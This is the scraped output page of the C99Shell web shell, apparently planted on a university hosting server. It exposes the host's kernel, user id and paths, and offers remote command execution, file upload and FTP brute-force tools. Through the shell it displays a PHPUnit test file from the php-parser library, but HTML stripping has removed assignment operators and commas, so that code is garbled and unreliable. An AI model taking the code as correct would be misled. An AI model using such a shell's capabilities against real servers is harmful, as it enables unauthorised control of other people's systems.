!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/nikic/php-parser/test/PhpParser/Builder/   drwxr-xr-x
Free 116.58 GB of 200.55 GB (58.13%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PropertyTest.php (3.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpParser\Builder;

use 
PhpParser\Node\Name;
use 
PhpParser\Node\Stmt;
use 
PhpParser\Node\Expr;
use 
PhpParser\Node\Scalar;
use 
PhpParser\Comment;

class 
PropertyTest extends \PHPUnit_Framework_TestCase
{
    public function 
createPropertyBuilder($name) {
        return new 
Property($name);
    }

    public function 
testModifiers() {
        
$node $this->createPropertyBuilder('test')
            ->
makePrivate()
            ->
makeStatic()
            ->
getNode()
        ;

        
$this->assertEquals(
            new 
Stmt\Property(
                
Stmt\Class_::MODIFIER_PRIVATE
              
Stmt\Class_::MODIFIER_STATIC,
                array(
                    new 
Stmt\PropertyProperty('test')
                )
            ),
            
$node
        
);

        
$node $this->createPropertyBuilder('test')
            ->
makeProtected()
            ->
getNode()
        ;

        
$this->assertEquals(
            new 
Stmt\Property(
                
Stmt\Class_::MODIFIER_PROTECTED,
                array(
                    new 
Stmt\PropertyProperty('test')
                )
            ),
            
$node
        
);

        
$node $this->createPropertyBuilder('test')
            ->
makePublic()
            ->
getNode()
        ;

        
$this->assertEquals(
            new 
Stmt\Property(
                
Stmt\Class_::MODIFIER_PUBLIC,
                array(
                    new 
Stmt\PropertyProperty('test')
                )
            ),
            
$node
        
);
    }

    public function 
testDocComment() {
        
$node $this->createPropertyBuilder('test')
            ->
setDocComment('/** Test */')
            ->
getNode();

        
$this->assertEquals(new Stmt\Property(
            
Stmt\Class_::MODIFIER_PUBLIC,
            array(
                new 
Stmt\PropertyProperty('test')
            ),
            array(
                
'comments' => array(new Comment\Doc('/** Test */'))
            )
        ), 
$node);
    }

    
/**
     * @dataProvider provideTestDefaultValues
     */
    
public function testDefaultValues($value$expectedValueNode) {
        
$node $this->createPropertyBuilder('test')
            ->
setDefault($value)
            ->
getNode()
        ;

        
$this->assertEquals($expectedValueNode$node->props[0]->default);
    }

    public function 
provideTestDefaultValues() {
        return array(
            array(
                
null,
                new 
Expr\ConstFetch(new Name('null'))
            ),
            array(
                
true,
                new 
Expr\ConstFetch(new Name('true'))
            ),
            array(
                
false,
                new 
Expr\ConstFetch(new Name('false'))
            ),
            array(
                
31415,
                new 
Scalar\LNumber(31415)
            ),
            array(
                
3.1415,
                new 
Scalar\DNumber(3.1415)
            ),
            array(
                
'Hallo World',
                new 
Scalar\String_('Hallo World')
            ),
            array(
                array(
123),
                new 
Expr\Array_(array(
                    new 
Expr\ArrayItem(new Scalar\LNumber(1)),
                    new 
Expr\ArrayItem(new Scalar\LNumber(2)),
                    new 
Expr\ArrayItem(new Scalar\LNumber(3)),
                ))
            ),
            array(
                array(
'foo' => 'bar''bar' => 'foo'),
                new 
Expr\Array_(array(
                    new 
Expr\ArrayItem(
                        new 
Scalar\String_('bar'),
                        new 
Scalar\String_('foo')
                    ),
                    new 
Expr\ArrayItem(
                        new 
Scalar\String_('foo'),
                        new 
Scalar\String_('bar')
                    ),
                ))
            ),
            array(
                new 
Scalar\MagicConst\Dir,
                new 
Scalar\MagicConst\Dir
            
)
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0378 ]--